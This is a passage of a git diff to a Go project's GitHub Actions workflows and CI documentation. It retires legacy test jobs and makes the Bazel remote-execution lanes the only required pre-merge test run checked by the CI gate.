- TEST_PROXIED_CMD: ${{ needs.test-proxied-cmd.result }} TEST_NIX: ${{ needs.test-nix.result }} - run: | - skipped_ok="" - if [[ "$FULL_EMBEDDED" != "true" ]]; then - skipped_ok="BUILD_EMBEDDED TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL TEST_EMBEDDED_CMD TEST_PROXIED_CMD" - fi - # The legacy tiers' test jobs stand down only where pr.yml's gated - # Bazel lanes run the tier (bazel-coverage), and build-embedded, - # whose artifact only they consume, only where all of them do; any - # other skip of them, or a failed or missing decision, fails the - # gate. - if [[ "$BAZEL_COVERS_EMBEDDED" == "true" ]]; then - skipped_ok="$skipped_ok TEST_EMBEDDED_STORAGE TEST_EMBEDDED_CONFORMANCE TEST_EMBEDDED_CMD" - fi - if [[ "$BAZEL_COVERS_DOLT_SERVER" == "true" ]]; then - skipped_ok="$skipped_ok TEST_PROXIED_CMD TEST_SERVER_STORAGE TEST_SERVER_STORAGE_FULL" - fi - if [[ "$BAZEL_COVERS_EMBEDDED" == "true" ]] && [[ "$BAZEL_COVERS_DOLT_SERVER" == "true" ]]; then - skipped_ok="$skipped_ok BUILD_EMBEDDED" - fi - export CI_GATE_SKIPPED_OK="$skipped_ok" - bash .github/scripts/ci-gate.sh + run: bash .github/scripts/ci-gate.sh diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index c59e727a6..b469bec4f 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -23,25 +23,6 @@ concurrency: env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" - # D2: "true" retires a PR Risk legacy tier on same-repo, non-Dependabot - # pull_requests and on merge groups (merge queue); pr.yml's gated Bazel lane(s) for it are then the tier's - # only pre-merge run, and pr.yml's gate goes red unless they ran remotely - # and passed. Committed, not repo variables, so a re-run can never change - # them; each must equal pr.yml's / pr-risk.yml's copy - # (scripts/pr_risk_bazel_coverage_test.go). Revert: commit "false" in both - # workflows (in-flight PRs pick it up on their next push or merge of main). - # Step 1: the embedded-Dolt test jobs (Bazel `embedded Dolt tier`). - BAZEL_RETIRES_LEGACY_EMBEDDED: "true" - # Step 2: the proxied-server and server-Dolt storage test jobs (Bazel - # `proxied-server tier` and `server-Dolt storage tier`). - BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS: "true" - # Step 3: pr.yml's own legacy jobs whose Bazel lanes run in the same pr.yml - # run: PR Core, build-artifacts and the pure-Go/js-wasm check (Bazel - # `test`, `pure-Go and js/wasm`); the `dolt-server lane`, the only run of - # the Dolt-backed domain, uow, tracker, doctor/fix and protocol suites, is - # held to the same rule. pr-risk.yml retires nothing for it; its copy only - # keeps the shared bazel-coverage job identical. - BAZEL_RETIRES_LEGACY_PR_LANES: "true" # F4 side-by-side rollout: "false" keeps the native windows-latest jobs # (test-windows-liveness, worktree-remove-windows) as the required pair and # their Linux-cross-built "-prebuilt" twins (test-windows-liveness-prebuilt, @@ -49,21 +30,9 @@ env: # on every PR regardless of this flag; flipping it to "true" swaps which # pair ci-gate enforces (the other pair moves to CI_GATE_SKIPPED_OK) without # touching ci-gate.needs or the env map below -- see the "Evaluate CI gate" - # step's run script. Committed, not a repo variable, for the same reason as - # the BAZEL_RETIRES_LEGACY_* flags above: a re-run can never change it. + # step's run script. Committed, not a repo variable, so a re-run can never + # change it. WINDOWS_PREBUILT_REQUIRED: "true" - # Fork and Dependabot PRs: "true" covers them like same-repo PRs (the - # flags above then retire their legacy tiers too): rbe-west's mint - # (rbe-fork) gives their Bazel lanes remote execution, instance oss-fork - # or, for allowlisted authors, oss, and a run the mint does not serve - # (mode cache) is red, never a silent fall back to the legacy tiers. - # "false": they keep the legacy tiers, and the Bazel lanes run remotely - # beside them whenever rbe-fork is open (bazel.yml modes - # fork-ro/fork-rw), else locally with the read-only cache as before. - # "true" since ga-96smfk.15: after the canary every fork and Dependabot - # run took fork-ro/fork-rw (none fell to cache). Rollback if the mint - # becomes unreliable: commit "false" in both workflows. - BAZEL_COVERS_FORKS: "true" # bazel.yml's bazel-cmd-dolt lane (the cmd/bd Dolt-server tier: the # Dolt-gated cmd/bd tests no other lane runs) is advisory while this is # "false": it runs and reports in the bazel call (continue-on-error, so a @@ -71,7 +40,7 @@ env: # BAZEL_CMD_DOLT result. "true" adds BAZEL_CMD_DOLT to CI_GATE_REQUIRED in # the "Evaluate CI gate" step's run script; bazel-gate.sh still accepts # its skip in modes skip and local. Committed, not a repo variable, for - # the same reason as the flags above. The `bazel` job's cmd-dolt-required + # the same reason as WINDOWS_PREBUILT_REQUIRED above. The `bazel` job's cmd-dolt-required # input must equal it (a `with:` cannot read env; policy-tested): "true" # also drops //cmd/bd:bd_test from bazel-integration, because the required # lane runs the same integration-build bd_test without the dolt skip, so @@ -81,74 +50,6 @@ env: jobs: - # D2 step 3: stands down where bazel-coverage says pr_lanes (same-repo, - # non-Dependabot PRs and merge groups while BAZEL_RETIRES_LEGACY_PR_LANES - # is "true"): its - # consumers then stand down too. F3: the package gates (package-mcp, - # package-npm) are no longer among those consumers - they moved into - # bazel.yml and build their own bd (Bazel-built on same-repo PRs, `go - # build` otherwise), needing only the call's rbe job. - build-artifacts: - name: Build Artifacts - runs-on: ubuntu-latest - needs: bazel-coverage - if: needs.bazel-coverage.outputs.pr_lanes != 'true' - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore non-race Go build cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/non-race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - - - name: Build reusable Linux artifacts - env: - GOCACHE: ${{ runner.temp }}/go-cache/non-race - run: | - set -euo pipefail - mkdir -p artifacts - source ./.buildflags - go_version="$(go version)" - commit="$(git rev-parse HEAD)" - go build -tags gms_pure_go -o artifacts/bd-linux-gms-pure ./cmd/bd - chmod +x artifacts/bd-linux-gms-pure - ( - cd artifacts - sha256sum bd-linux-gms-pure > SHA256SUMS - ) - { - echo "commit=${commit}" - echo "go_version=${go_version}" - echo "build_tags=${BEADS_BUILD_TAGS}" - echo "artifact=bd-linux-gms-pure" - } > artifacts/build-manifest.txt - - - name: Upload build artifacts - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: ci-build-artifacts - path: artifacts/ - retention-days: 1 - if-no-files-found: error - # The checks that need the PR's base commit, so no hermetic Bazel target # can hold them: check-migration-hygiene.sh's delta half (C: shipped # migrations are frozen, D: ignored-plane twins, E: no prepared DML in new @@ -224,101 +125,6 @@ jobs: fi echo "No .beads/issues.jsonl changes detected" - # Lock in two CGO-disabled portability boundaries. cmd/bd carries a mix of - # cgo-only test helpers (embedded Dolt, sql.DB) and pure-Go tests; compiling - # and running its pure-Go subset prevents test contamination (mybd-ycx / - # GH#3683 follow-up). internal/hooks also declares a js/wasm boundary where - # process execution must fail explicitly, so this required leaf job compiles - # the complete package test binary and executes that exact contract under - # Node rather than allowing a missing platform implementation to recur. - # - # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's - # `pure-Go and js/wasm` lane (bazel-pure) runs the same boundaries, and - # also builds the whole tree with cgo off for every release target - # (scripts/ci/bazel-release-cross-compile.sh). - check-cmd-bd-puregeo-tests: - name: Check pure-Go and js/wasm boundaries (CGO_ENABLED=0) - runs-on: ubuntu-latest - needs: bazel-coverage - if: needs.bazel-coverage.outputs.pr_lanes != 'true' - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Set up Node.js - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v6 - with: - node-version: '24' - - - name: Run js/wasm hook boundary - env: - CGO_ENABLED: "0" - GOARCH: wasm - GOOS: js - run: | - set -euo pipefail - - # This required lane owns the exact js/wasm refusal contract. If the - # wasm test surface grows, widen this selector and its count guard - # together rather than assuming compilation executes new tests. - test_status=0 - test_output="$(go test -tags gms_pure_go -count=1 -timeout=2m \ - -exec="$(go env GOROOT)/lib/wasm/go_js_wasm_exec" \ - -run '^TestRunHookReportsUnsupportedExecution$' \ - -v ./internal/hooks 2>&1)" || test_status=$? - printf '%s\n' "$test_output" - (( test_status == 0 )) || exit "$test_status" - - run_count=0 - pass_count=0 - nonpass_count=0 - pass_pattern='^--- PASS: TestRunHookReportsUnsupportedExecution \([0-9.]+s\)$' - nonpass_pattern='^[[:space:]]*--- (FAIL|SKIP): ' - while IFS= read -r line; do - if [[ "$line" == "=== RUN TestRunHookReportsUnsupportedExecution" ]]; then - ((run_count += 1)) - fi - if [[ "$line" =~ $pass_pattern ]]; then - ((pass_count += 1)) - fi - if [[ "$line" =~ $nonpass_pattern ]]; then - ((nonpass_count += 1)) - fi - done <<< "$test_output" - if (( run_count != 1 || pass_count != 1 || nonpass_count != 0 )); then - printf 'expected one exact js/wasm hook test run and pass with no failures or skips; got runs=%s passes=%s nonpasses=%s\n' \ - "$run_count" "$pass_count" "$nonpass_count" >&2 - exit 1 - fi - - - name: Build cmd/bd (CGO_ENABLED=0, gms_pure_go) - env: - CGO_ENABLED: "0" - run: go build -tags gms_pure_go -o /tmp/bd-puregeo ./cmd/bd - - - name: Compile pure-Go test binaries (CGO_ENABLED=0, gms_pure_go) - env: - CGO_ENABLED: "0" - run: | - go test -tags gms_pure_go -c -o /tmp/bd-cmd-puregeo-test ./cmd/bd - go test -tags gms_pure_go -c -o /tmp/bd-embeddeddolt-puregeo-test ./internal/storage/embeddeddolt - go test -tags gms_pure_go -c -o /tmp/bd-tracker-puregeo-test ./internal/tracker - - - name: Run pure-Go cmd/bd test subset (CGO_ENABLED=0) - env: - CGO_ENABLED: "0" - # Restrict to tests that exercise pure-Go code paths. Tests that - # need a Dolt store skip themselves at runtime when no test server - # is available; the goal here is to catch compile-time contamination, - # not run the full suite. - run: | - go test -tags gms_pure_go -count=1 -short -run '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' ./cmd/bd - # The lingering-handle liveness regression test is //go:build windows: the # Ubuntu job above selects it by name but compiles it out, and main.yml's # Windows job runs only on pushes to main (build/smoke, no go test). Run @@ -1073,69 +879,6 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: bash scripts/ci/test-windows-env-helpers.sh - # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel / - # test (`bazel test //... --config=ci`, the same selection, checked by its - # equivalence step) runs it, and nogo (//tools/nogo) runs go test's vet - # checks beside every compile of that lane. - pr-core-wrapper: - name: PR Core (wrapper timing) - runs-on: ubuntu-latest - needs: [build-artifacts, bazel-coverage] - if: needs.bazel-coverage.outputs.pr_lanes != 'true' - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Restore race Go build cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/race - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race- - - - name: Install Dolt - run: ./scripts/ci/install-dolt.sh - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Download build artifacts - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ci-build-artifacts - path: ci-build-artifacts - - - name: Verify build artifacts - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Run PR core wrapper - env: - BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION: '1' - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - GOCACHE: ${{ runner.temp }}/go-cache/race - run: make ci-pr-core - # F7a: fold of build-examples + complexity-report, the two pr.yml jobs that # are advisory-only (not in ci-gate's needs/CI_GATE_REQUIRED) and restore no # GitHub-saved build cache, onto one Blacksmith runner for same-repo @@ -1815,32 +1558,22 @@ jobs: throw 'Cygwin Make shell smoke failed' } - # The Bazel lane (bazel.yml), gated alongside the legacy jobs it mirrors - # (PR Core, build-artifacts, the pure-Go/js-wasm check, and - # pr-risk.yml's embedded-Dolt, proxied-server and - # server-Dolt storage tiers), all of which stay required ids, but stand - # down on same-repo PRs with a non-Dependabot actor, and on merge groups, - # while their D2 flag is "true" (bazel-coverage): pr-risk.yml's embedded-Dolt test jobs - # (BAZEL_RETIRES_LEGACY_EMBEDDED, step 1), its proxied-server and - # server-Dolt storage test jobs (BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS, - # step 2), and this workflow's PR Core, build-artifacts and pure-Go/js-wasm - # jobs (BAZEL_RETIRES_LEGACY_PR_LANES, step 3). ci-gate then requires this call's lanes for them (embedded; - # proxied and server-storage; test, pure and doltserver) to have run - # remotely and passed. bazel.yml has no pull_request/merge_group trigger + # The Bazel lanes (bazel.yml): the only pre-merge run of every Linux Go + # test tier (PR core, pure-Go and js/wasm, the dolt-server lane, the + # embedded-Dolt, proxied-server and server-Dolt storage tiers that + # pr-risk.yml used to run, integration and the cmd/bd Dolt-server tier). + # ci-gate requires each of them to have run remotely on rbe-west and + # passed, on every pull_request and merge group: same-repo PRs and merge + # groups in mode remote, fork and Dependabot PRs through rbe-west's mint + # (rbe-fork, modes fork-ro/fork-rw). Mode skip (the farm switch off) or + # cache (no secret, or rbe-fork closed or refusing) is red, never a silent + # pass with fewer tests. bazel.yml has no pull_request/merge_group trigger # of its own: this call is its only PR run. It gets the four RBE secrets - # and nothing else; its rbe job decides remote, cache (forks, Dependabot: - # local execution with the anonymous read-only cache, no embedded, - # proxied or server-storage lane) or skip, and exports that for ci-gate. - # Its bazel-integration lane (main.yml's integration jobs, which run only - # on push to main) is on and required here in modes remote and cache: - # same-repo PRs and merge groups run it remotely, fork and Dependabot PRs - # locally with the read-only cache. Test results are cached: a PR or - # merge group re-runs only tests whose inputs changed (nightly re-runs - # everything; .bazelrc test:fresh). Its bd artifact is renamed - # (bazel-ci-build-artifacts) so it cannot collide with build-artifacts' - # upload. F3: the package gates build their own bd (via this call's rbe - # job) and do not consume this artifact; it is kept for the F3.5.3 - # SHA256SUMS comparison and for debugging. + # and the pre-warm app key and nothing else. Test results are cached: a PR + # or merge group re-runs only tests whose inputs changed (nightly re-runs + # everything; .bazelrc test:fresh). Its bd artifact + # (bazel-ci-build-artifacts) is kept for debugging; F3: the package gates + # build their own bd via this call's rbe job. bazel: name: Bazel permissions: @@ -1862,93 +1595,6 @@ jobs: # this call, needing only its rbe job. package-gates: "on" - # D2: pr-risk.yml's bazel-coverage job, verbatim (policy-tested - # identical). Where it says a tier is covered, PR Risk skips that tier's - # legacy test jobs (embedded, dolt_server), or this workflow skips its own - # (pr_lanes: build-artifacts, PR Core, the pure-Go/js-wasm check), so - # ci-gate requires the tier's Bazel lanes to have run remotely and passed - # in this run. - bazel-coverage: - name: Bazel tier coverage - # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, - # Dependabot and any other event stay GitHub-hosted. This job restores no - # GitHub-saved cache, so Blacksmith's inability to see one does not cost - # it anything. Must stay byte-identical to pr-risk.yml's copy - # (TestPRRiskBazelCoverageJob) and to the TestSameRepoBlacksmithRunners - # pin. - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 5 - outputs: - embedded: ${{ steps.decide.outputs.embedded }} - dolt_server: ${{ steps.decide.outputs.dolt_server }} - pr_lanes: ${{ steps.decide.outputs.pr_lanes }} - steps: - # GitHub's == is case-insensitive. FORK is bazel.yml's rbe job's - # expression, verbatim. Nothing mutable is read: not RBE_WEST_WORKERS - # and not the executor secret (either, evaluated per run, would let one - # workflow's re-run disagree with the other's). A same-repo PR whose run - # lacks the secret is covered anyway, so pr.yml's gate goes red (mode - # cache) instead of a tier silently moving back. Fork and Dependabot - # runs get no Actions secrets by design: they are covered only while - # BAZEL_COVERS_FORKS is "true" (rbe-fork gives their lanes remote - # execution), and then a closed rbe-fork turns them red the same way; - # it never moves them back to a legacy tier silently. github.actor - # (unlike triggering_actor) stays the PR's actor on a re-run. - - name: Decide which legacy tiers the Bazel lanes cover - id: decide - env: - RETIRED_EMBEDDED: ${{ env.BAZEL_RETIRES_LEGACY_EMBEDDED == 'true' }} - RETIRED_DOLT_SERVER: ${{ env.BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS == 'true' }} - RETIRED_PR_LANES: ${{ env.BAZEL_RETIRES_LEGACY_PR_LANES == 'true' }} - COVERS_FORKS: ${{ env.BAZEL_COVERS_FORKS == 'true' }} - PULL_REQUEST: ${{ github.event_name == 'pull_request' }} - MERGE_GROUP: ${{ github.event_name == 'merge_group' }} - FORK: ${{ github.event.pull_request.head.repo.fork == true }} - DEPENDABOT: ${{ github.actor == 'dependabot[bot]' }} - run: | - for v in RETIRED_EMBEDDED RETIRED_DOLT_SERVER RETIRED_PR_LANES COVERS_FORKS PULL_REQUEST MERGE_GROUP FORK DEPENDABOT; do - case "${!v}" in - true|false) ;; - *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; - esac - done - # Covered: the Bazel lanes are this run's only run of the retired - # tiers. Same-repo PRs (the CI secrets); fork and Dependabot PRs - # too while BAZEL_COVERS_FORKS is "true"; and every merge group: it - # runs on the queue's gh-readonly-queue/* branch of this repository - # with the CI secrets, its actor is github-merge-queue[bot] (never - # Dependabot), and bazel.yml's rbe job takes mode remote for it - # like for a same-repo PR, so a missing secret or the farm switch - # off turns pr.yml's gate red rather than dropping a tier. - covered=false - if [ "$MERGE_GROUP" = true ]; then - covered=true - elif [ "$PULL_REQUEST" = true ]; then - if [ "$FORK" = false ] && [ "$DEPENDABOT" = false ]; then - covered=true - elif [ "$COVERS_FORKS" = true ]; then - covered=true - fi - fi - embedded=false - if [ "$covered" = true ] && [ "$RETIRED_EMBEDDED" = true ]; then - embedded=true - fi - dolt_server=false - if [ "$covered" = true ] && [ "$RETIRED_DOLT_SERVER" = true ]; then - dolt_server=true - fi - pr_lanes=false - if [ "$covered" = true ] && [ "$RETIRED_PR_LANES" = true ]; then - pr_lanes=true - fi - { - echo "embedded=$embedded" - echo "dolt_server=$dolt_server" - echo "pr_lanes=$pr_lanes" - } >> "$GITHUB_OUTPUT" - echo "Legacy tiers retired in favour of the Bazel lanes: embedded Dolt **$embedded**, proxied and server Dolt **$dolt_server**, pr.yml's PR Core/build/pure-Go/domain+uow/contract jobs **$pr_lanes** (pull_request: $PULL_REQUEST, merge_group: $MERGE_GROUP, fork: $FORK, dependabot: $DEPENDABOT, forks covered: $COVERS_FORKS, retired embedded: $RETIRED_EMBEDDED, retired proxied/server: $RETIRED_DOLT_SERVER, retired pr.yml jobs: $RETIRED_PR_LANES)" | tee -a "$GITHUB_STEP_SUMMARY" - ci-gate: name: CI Gate / Required # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, @@ -1962,9 +1608,7 @@ jobs: # minutes too. timeout-minutes: 10 needs: - - build-artifacts - fast-checks - - check-cmd-bd-puregeo-tests - test-windows-liveness - worktree-remove-windows - test-windows-liveness-prebuilt @@ -1972,10 +1616,8 @@ jobs: - check-doc-flags - check-doc-freshness-platforms - pr-preflight-platforms - - pr-core-wrapper - windows-make-shell - bazel - - bazel-coverage if: ${{ always() }} steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1984,17 +1626,14 @@ jobs: env: CI_GATE_NAME: PR baseline gate CI_GATE_REQUIRED: >- - BUILD_ARTIFACTS FAST_CHECKS CHECK_MIGRATION_HYGIENE CHECK_NO_BEADS_CHANGES - CHECK_CMD_BD_PUREGEO_TESTS CHECK_DOC_FLAGS CHECK_DOC_FRESHNESS_PLATFORMS PR_PREFLIGHT_PLATFORMS PACKAGE_MCP PACKAGE_NPM - PR_CORE_WRAPPER WINDOWS_MAKE_SHELL BAZEL BAZEL_TEST @@ -2004,11 +1643,7 @@ jobs: BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE - BAZEL_COVERAGE - BAZEL_EMBEDDED_RETIRED - BAZEL_DOLT_SERVER_RETIRED - BAZEL_PR_LANES_RETIRED - BUILD_ARTIFACTS: ${{ needs.build-artifacts.result }} + BAZEL_REMOTE # fast-checks' two base-diff steps; each token reads that step's # outcome (via the job's outputs), with a 'skipped' fallback for a # lost job (see FAST_CHECKS below). TestPRCIGateFastChecksTokens @@ -2023,7 +1658,6 @@ jobs: # reds) - FAST_CHECKS gives ci-gate.sh one clear line naming the # job. FAST_CHECKS: ${{ needs.fast-checks.result }} - CHECK_CMD_BD_PUREGEO_TESTS: ${{ needs.check-cmd-bd-puregeo-tests.result }} TEST_WINDOWS_LIVENESS: ${{ needs.test-windows-liveness.result }} WORKTREE_REMOVE_WINDOWS: ${{ needs.worktree-remove-windows.result }} # F4 side-by-side rollout: always evaluated, like the native pair @@ -2041,7 +1675,6 @@ jobs: # here). PACKAGE_MCP: ${{ needs.bazel.outputs.package-mcp || 'skipped' }} PACKAGE_NPM: ${{ needs.bazel.outputs.package-npm || 'skipped' }} - PR_CORE_WRAPPER: ${{ needs.pr-core-wrapper.result }} WINDOWS_MAKE_SHELL: ${{ needs.windows-make-shell.result }} # bazel.yml's lanes report their job.status as outputs; a lane that # did not report (skipped, or lost before its last step) reads as @@ -2062,12 +1695,6 @@ jobs: BAZEL_CALL: ${{ needs.bazel.result }} BAZEL_RBE_MODE: ${{ needs.bazel.outputs.rbe-mode }} BAZEL_RBE_ENABLED: ${{ needs.bazel.outputs.rbe-enabled }} - # D2: which legacy tiers PR Risk, or this workflow (pr_lanes), - # retired for this PR (BAZEL_*_RETIRED below). - BAZEL_COVERAGE: ${{ needs.bazel-coverage.result }} - BAZEL_COVERS_EMBEDDED: ${{ needs.bazel-coverage.outputs.embedded }} - BAZEL_COVERS_DOLT_SERVER: ${{ needs.bazel-coverage.outputs.dolt_server }} - BAZEL_COVERS_PR_LANES: ${{ needs.bazel-coverage.outputs.pr_lanes }} run: | skipped_ok="" # F4 side-by-side rollout: WINDOWS_PREBUILT_REQUIRED (top of this @@ -2101,38 +1728,19 @@ jobs: skipped_ok="$skipped_ok $(bash .github/scripts/bazel-gate.sh skips)" BAZEL="$(bash .github/scripts/bazel-gate.sh aggregate)" export BAZEL - # D2 step 3: this workflow's legacy jobs that stand down where - # bazel-coverage says pr_lanes (exactly "true"); their Bazel lanes - # are then required below. - if [[ "$BAZEL_COVERS_PR_LANES" == "true" ]]; then - skipped_ok="$skipped_ok BUILD_ARTIFACTS CHECK_CMD_BD_PUREGEO_TESTS PR_CORE_WRAPPER" + # The Bazel lanes are the only run of every Linux Go test tier + # (there is no legacy job to fall back to), so on every pull_request + # and merge group they must have run remotely on rbe-west: mode + # remote, or fork-ro/fork-rw through rbe-fork for a PR without the + # CI secrets; mode skip (the farm switch off) or cache (no + # secret, or rbe-fork closed or refusing) is red whatever + # bazel-gate.sh's skip list allows; each lane's own result is + # required above. + BAZEL_REMOTE=success + if [[ ! "$BAZEL_RBE_MODE" =~ ^(remote|fork-ro|fork-rw)$ ]]; then + BAZEL_REMOTE=not-run-remotely + echo "::error::The Bazel lanes did not run remotely on rbe-west (mode '${BAZEL_RBE_MODE:-none}'); they are this PR's only run of the Linux Go test tiers. In mode cache on a PR without the CI secrets, rbe-fork was closed or refused this run: re-run all jobs later." fi - # Where a legacy tier is retired (by PR Risk or by this - # workflow), this run's Bazel lanes for it are the tier's only - # pre-merge run: each must have run remotely (mode remote, or - # fork-ro/fork-rw with an rbe-fork certificate where - # BAZEL_COVERS_FORKS covers a PR without the CI secrets) and - # passed. Mode skip (the farm switch off), cache (no secret, or - # rbe-fork closed or refusing), or any other result, is red - # whatever bazel-gate.sh allows. - # retired ID FLAG COVERED TIER LANE...: set and export ID. - retired() { - local id="$1" flag="$2" covered="$3" tier="$4" result=success lane - shift 4 - if [[ "$covered" == "true" ]]; then - [[ "$BAZEL_RBE_MODE" =~ ^(remote|fork-ro|fork-rw)$ ]] || result="not-run-remotely" - for lane in "$@"; do - [[ "${!lane:-}" == "success" ]] || result="not-run-remotely" - done - if [[ "$result" != "success" ]]; then - echo "::error::The legacy $tier is retired ($flag) and its Bazel lanes ($*) did not all run remotely and pass (mode '${BAZEL_RBE_MODE:-none}'). In mode cache on a PR without the CI secrets, rbe-fork was closed or refused this run: re-run all jobs later. If remote execution is off on purpose, commit $flag: \"false\" (or BAZEL_COVERS_FORKS: \"false\" for forks) in pr.yml and pr-risk.yml and push this PR again." - fi - fi - printf -v "$id" '%s' "$result" - export "${id?}" - } - retired BAZEL_EMBEDDED_RETIRED BAZEL_RETIRES_LEGACY_EMBEDDED "$BAZEL_COVERS_EMBEDDED" "PR Risk embedded Dolt tier" BAZEL_EMBEDDED - retired BAZEL_DOLT_SERVER_RETIRED BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS "$BAZEL_COVERS_DOLT_SERVER" "PR Risk proxied-server and server-Dolt storage tiers" BAZEL_PROXIED BAZEL_SERVER_STORAGE - retired BAZEL_PR_LANES_RETIRED BAZEL_RETIRES_LEGACY_PR_LANES "$BAZEL_COVERS_PR_LANES" "PR Core, build-artifacts and pure-Go/js-wasm jobs (and the dolt-server lane)" BAZEL_TEST BAZEL_PURE BAZEL_DOLTSERVER + export BAZEL_REMOTE export CI_GATE_SKIPPED_OK="$skipped_ok" bash .github/scripts/ci-gate.sh diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 44771b99c..5e82bc916 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -57,18 +57,17 @@ Current PR-related workflow names: `job.status` as an output named after the job. `pr.yml`'s gate requires the call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_EMBEDDED`, `BAZEL_INTEGRATION`, `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and - `BAZEL_SERVER_STORAGE`. The legacy jobs these mirror stay required in - `pr.yml` and `pr-risk.yml`, except where `BAZEL_EMBEDDED`; - `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`; or `BAZEL_TEST`, `BAZEL_PURE` - and `BAZEL_DOLTSERVER` run in their place (see - [Legacy Tier Retirement](#legacy-tier-retirement-d2)). - `.github/scripts/bazel-gate.sh` reads the exported mode, never the variable - or the fork flag: mode `skip` allows every Bazel id to skip, mode `cache` - allows only the remote-only `BAZEL_EMBEDDED`, `BAZEL_PROXIED` and - `BAZEL_SERVER_STORAGE` (fork and Dependabot PRs rely on `pr-risk.yml`'s - legacy tiers for them), mode `local` (`rbe=off` dispatches) those and - `BAZEL_INTEGRATION`, and modes `remote`, `fork-ro` and `fork-rw` allow - none. + `BAZEL_SERVER_STORAGE`. These lanes are the only CI run of the Linux Go + test tiers: the legacy jobs they mirrored in `pr.yml` and `pr-risk.yml` + are retired (ga-96smfk.22; see + [Legacy Tier 